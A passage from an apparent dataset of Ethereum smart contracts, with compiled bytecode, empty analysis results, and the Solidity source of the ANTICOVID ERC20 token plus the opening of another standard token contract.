405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207c5679c8beb8bfb708de3fdc179fef83c5234157fd490a7d2b37cab5f220bd5f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,801
0xbbc0c2d56763c4561ad05a7766d121248197fb8a
/** Our Telegram Group : t.me/anticovidtoken ANTICOVID 加ε…₯ζˆ‘δ»¬εŠ ε…₯η”΅ζŠ₯ηΎ€: t.me/anticovidtoken ζŠ΅ζŠ—ζ–°ε†  */ pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) { uint receiverCount = _receivers.length; uint256 amount = _value.mul(uint256(receiverCount)); /* require(receiverCount > 0 && receiverCount <= 20); */ require(receiverCount > 0); require(_value > 0 && balances[msg.sender] >= amount); balances[msg.sender] = balances[msg.sender].sub(amount); for (uint i = 0; i < receiverCount; i++) { balances[_receivers[i]] = balances[_receivers[i]].add(_value); Transfer(msg.sender, _receivers[i], _value); } return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract ANTICOVID is CappedToken, PausableToken, BurnableToken { string public constant name = "t.me/anticovidtoken"; string public constant symbol = "ANTICOVID"; uint8 public constant decimals = 18; uint256 private constant TOKEN_CAP = 500000 * (10 ** uint256(decimals)); uint256 private constant TOKEN_INITIAL = 500000 * (10 ** uint256(decimals)); function ANTICOVID() public CappedToken(TOKEN_CAP) { totalSupply_ = TOKEN_INITIAL; balances[msg.sender] = TOKEN_INITIAL; emit Transfer(address(0), msg.sender, TOKEN_INITIAL); paused = false; } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012d57806306fdde031461015c578063095ea7b3146101ec57806318160ddd1461025157806323b872dd1461027c578063313ce56714610301578063355274ea146103325780633f4ba83a1461035d57806340c10f191461037457806342966c68146103d95780635c975abb14610406578063661884631461043557806370a082311461049a5780637d64bcb4146104f157806383f12fec146105205780638456cb59146105a85780638da5cb5b146105bf57806395d89b4114610616578063a9059cbb146106a6578063d73dd6231461070b578063dd62ed3e14610770578063f2fde38b146107e7575b600080fd5b34801561013957600080fd5b5061014261082a565b604051808215151515815260200191505060405180910390f35b34801561016857600080fd5b5061017161083d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b1578082015181840152602081019050610196565b50505050905090810190601f1680156101de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f857600080fd5b50610237600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610876565b604051808215151515815260200191505060405180910390f35b34801561025d57600080fd5b506102666108a6565b6040518082815260200191505060405180910390f35b34801561028857600080fd5b506102e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b0565b604051808215151515815260200191505060405180910390f35b34801561030d57600080fd5b506103166108e2565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033e57600080fd5b506103476108e7565b6040518082815260200191505060405180910390f35b34801561036957600080fd5b506103726108ed565b005b34801561038057600080fd5b506103bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ad565b604051808215151515815260200191505060405180910390f35b3480156103e557600080fd5b5061040460048036038101908080359060200190929190505050610a5e565b005b34801561041257600080fd5b5061041b610c16565b604051808215151515815260200191505060405180910390f35b34801561044157600080fd5b50610480600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c29565b604051808215151515815260200191505060405180910390f35b3480156104a657600080fd5b506104db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c59565b6040518082815260200191505060405180910390f35b3480156104fd57600080fd5b50610506610ca1565b604051808215151515815260200191505060405180910390f35b34801561052c57600080fd5b5061058e6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050610d69565b604051808215151515815260200191505060405180910390f35b3480156105b457600080fd5b506105bd611003565b005b3480156105cb57600080fd5b506105d46110c4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561062257600080fd5b5061062b6110ea565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561066b578082015181840152602081019050610650565b50505050905090810190601f1680156106985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106b257600080fd5b506106f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611123565b604051808215151515815260200191505060405180910390f35b34801561071757600080fd5b50610756600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611153565b604051808215151515815260200191505060405180910390f35b34801561077c57600080fd5b506107d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611183565b6040518082815260200191505060405180910390f35b3480156107f357600080fd5b50610828600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b005b600360149054906101000a900460ff1681565b6040805190810160405280601381526020017f742e6d652f616e7469636f766964746f6b656e0000000000000000000000000081525081565b6000600560009054906101000a900460ff1615151561089457600080fd5b61089e83836112e1565b905092915050565b6000600154905090565b6000600560009054906101000a900460ff161515156108ce57600080fd5b6108d98484846113d3565b90509392505050565b601281565b60045481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094957600080fd5b600560009054906101000a900460ff16151561096457600080fd5b6000600560006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a0b57600080fd5b600360149054906101000a900460ff16151515610a2757600080fd5b600454610a3f8360015461178d90919063ffffffff16565b11151515610a4c57600080fd5b610a5683836117ab565b905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610aad57600080fd5b339050610b01826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199190919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b588260015461199190919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600560009054906101000a900460ff1681565b6000600560009054906101000a900460ff16151515610c4757600080fd5b610c5183836119aa565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cff57600080fd5b600360149054906101000a900460ff16151515610d1b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600080600080600560009054906101000a900460ff16151515610d8b57600080fd5b85519250610da28386611c3b90919063ffffffff16565b9150600083111515610db357600080fd5b600085118015610e015750816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515610e0c57600080fd5b610e5d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600090505b82811015610ff657610f14856000808985815181101515610ec157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178d90919063ffffffff16565b6000808884815181101515610f2557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508581815181101515610f7b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a38080600101915050610ea4565b6001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561105f57600080fd5b600560009054906101000a900460ff1615151561107b57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600981526020017f414e5449434f564944000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff1615151561114157600080fd5b61114b8383611c76565b905092915050565b6000600560009054906101000a900460ff1615151561117157600080fd5b61117b8383611e95565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156112de5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561141057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561145d57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114e857600080fd5b611539826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cc826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061169d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008082840190508381101515156117a157fe5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180957600080fd5b600360149054906101000a900460ff1615151561182557600080fd5b61183a8260015461178d90919063ffffffff16565b600181905550611891826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561199f57fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611abb576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b4f565b611ace838261199190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000806000841415611c505760009150611c6f565b8284029050828482811515611c6157fe5b04141515611c6b57fe5b8091505b5092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611cb357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d0057600080fd5b611d51826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611de4826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611f2682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a723058200e4ed7a53bb6f49fea207e15528d03c41521dae9443fce7691aadb06755bb33a0029
{"success": true, "error": null, "results": {}}
6,802
0xba3252bb77b409909604f3a36c5923cf7ea643bf
pragma solidity ^0.4.23; /** * Math operations with safety checks */ library SafeMath { /** * @dev Multiplies two numbers, revert()s on overflow. */ function mul(uint256 a, uint256 b) internal returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } /** * @dev Subtracts two numbers, revert()s on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, revert()s on overflow. */ function add(uint256 a, uint256 b) internal returns (uint256 c) { c = a + b; assert(c >= a && c >= b); return c; } function assert(bool assertion) internal { if (!assertion) { revert(); } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size.add(4)) { revert(); } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { require(_to != 0x0); balances[msg.sender] = 